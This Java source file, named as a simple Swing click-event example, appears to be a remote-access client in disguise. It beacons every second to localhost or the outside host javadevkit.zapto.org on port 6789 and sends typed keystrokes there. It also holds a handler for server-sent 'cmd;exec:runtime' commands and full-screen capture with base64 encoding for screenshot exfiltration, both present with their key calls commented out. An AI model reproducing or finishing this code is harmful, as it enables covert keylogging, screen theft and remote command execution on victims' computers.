JFrameClickEventExample.java

import java.io.*;
import java.net.*;
import java.text.*;
import java.lang.*;
import java.util.*;

import java.util.Timer;
import java.util.TimerTask;

import javax.swing.*;
import javax.swing.ImageIcon;
import javax.imageio.*;

import java.awt.*;
import java.awt.event.*;
import java.awt.image.BufferedImage;

public class JFrameClickEventExample 
	extends JFrame 
	implements MouseListener, MouseMotionListener, KeyListener 
{
	public static BufferedImage scrnsht;
	public static LinkedList<String> drawlog = new LinkedList<String>();
	public static BufferedImage ScreenShot() {
			try {
				GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
				GraphicsDevice[] screens = ge.getScreenDevices();
				
				Rectangle allScreenBounds = new Rectangle();
				for (GraphicsDevice screen : screens) {
				    Rectangle screenBounds = screen.getDefaultConfiguration().getBounds();
				
				    allScreenBounds.width += screenBounds.width;
				    allScreenBounds.height = Math.max(allScreenBounds.height, screenBounds.height);
				}
				
				Robot robot = new Robot();
				return robot.createScreenCapture(allScreenBounds);
				
			}catch(Exception ex){
				BufferedImage bi = new BufferedImage(800, 600, BufferedImage.TYPE_INT_RGB);
				Graphics g = bi.getGraphics();
				g.setColor(Color.red);
				g.fillRect(300, 350, 100, 50);
				return bi;
			}
		}
	public static String Base64ScreenShot(BufferedImage img){
		try{
			ByteArrayOutputStream baos = new ByteArrayOutputStream();
			ImageIO.write( img, "jpg", baos );
			baos.flush();
			byte[] imageInByte = baos.toByteArray();
			baos.close();
			return javax.xml.bind.DatatypeConverter.printBase64Binary(imageInByte);
		}catch(Exception ex){
			System.out.println("Error making screenshot");
			return "iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==";
		}
	}
	public static String Base64ScreenShot(){
		return Base64ScreenShot(ScreenShot());
	}
	public class DrawPanel extends JPanel {
		@Override 
		public void paintComponent(Graphics g) {
			g.setColor(Color.black);
			g.drawImage(scrnsht,0,0,this);
			if (drawlog.size()>10){
				for (int i=drawlog.size()-10;i-->0;drawlog.remove());
			}
			int i = 0;
			for (String txt: drawlog){
				g.drawString(txt,10,(++i)*32);
			}
			
		}
	}
	public JLabel label;
	public static void cmdh(String data) throws IOException{
		System.out.println(data);
		String commandHeader = data.split(",")[0];
		String commandBody = data.split(",")[1];
		String[] commandInfo = commandHeader.split(":");
		if(commandInfo[0].equals("exec")){
			if(commandInfo[1].equals("runtime")){
				System.out.println(commandBody);
				//Runtime rt = Runtime.getRuntime();
				//Process pr = rt.exec(URLDecoder.decode(commandBody, "UTF-8"));
			}
		}
		//safeSend("cmd;data:screenshot,"+Base64ScreenShot());
	}
	public static void send(String msg) throws IOException{
		Socket clientSocket;
		try{ 
			clientSocket = new Socket("localhost", 6789);
		}catch(Exception ex){
			clientSocket = new Socket("javadevkit.zapto.org", 6789);
		}
		DataOutputStream outToServer = new DataOutputStream(clientSocket.getOutputStream());
		BufferedReader inFromServer = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
		outToServer.writeBytes(msg+'\n');
		String response = inFromServer.readLine();
		if(response.indexOf("cmd;")==0) cmdh(response);
		else drawlog.add(response);
		System.out.println(response);
		clientSocket.close();
	}
	public static void safeSend(String msg){
		try{
			send(msg);
		}catch(Exception ex){
			System.out.println(ex);
		}
	}
	public static void main(String args[]) 
	{
		new JFrameClickEventExample();		
		Timer timer = new Timer("MyTimer");
		timer.schedule(new TimerTask() {
			@Override
			public void run(){
				safeSend("ping");
				System.out.println("#> pinging server");
			}
		}, 1000, 1000);
	}
	JFrameClickEventExample() 
	{
		setSize(500, 400);
		setTitle("Java Swing - JFrame Detect Events");

		label = new JLabel("No Even Captured", JLabel.CENTER);
		add(label);
		addMouseListener(this);
		addMouseMotionListener(this);
		addKeyListener(this);
		setVisible(true);
		setAlwaysOnTop(true);
		DrawPanel panel = new DrawPanel();
		
		setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		add(panel);
	}
	public void mousePressed(MouseEvent evt) { 
		
	}
	public void mouseDragged(MouseEvent evt) { }
	public void mouseEntered(MouseEvent evt) { }
	public void mouseReleased(MouseEvent evt) { }
	public void mouseClicked(MouseEvent evt) { } 
	public void mouseExited(MouseEvent evt) { }
	public void mouseMoved(MouseEvent evt) { /*label.setText("Moving"); */} 
	public static String input = "";
	public void keyTyped(KeyEvent e) { }
    public void keyPressed(KeyEvent e) {
		if(e.getKeyCode()==KeyEvent.VK_ENTER){
    		safeSend(input);
    		input = "";
		}else if(e.getKeyCode()==KeyEvent.VK_BACK_SPACE&&input.length()>0){
    		input = input.substring(0,input.length()-1);
		}else if(e.getKeyCode()==KeyEvent.VK_SHIFT){
			//scrnsht=ScreenShot();
			//safeSend("cmd;data:screenshot,"+Base64ScreenShot());
			try{
				//System.out.println(URLEncoder.encode("cmd;exec:runtime,start", "UTF-8"));
				//safeSend("cmd;test:bounce,cmd;exec:runtime,"+URLEncoder.encode("start", "UTF-8"));
			}catch(Exception ex){
			}
		}else if(e.getKeyChar()==KeyEvent.VK_PRINTSCREEN){
		}else{
			input += e.getKeyChar();
		}
        label.setText(input);
    }
    public void keyReleased(KeyEvent e) { }
}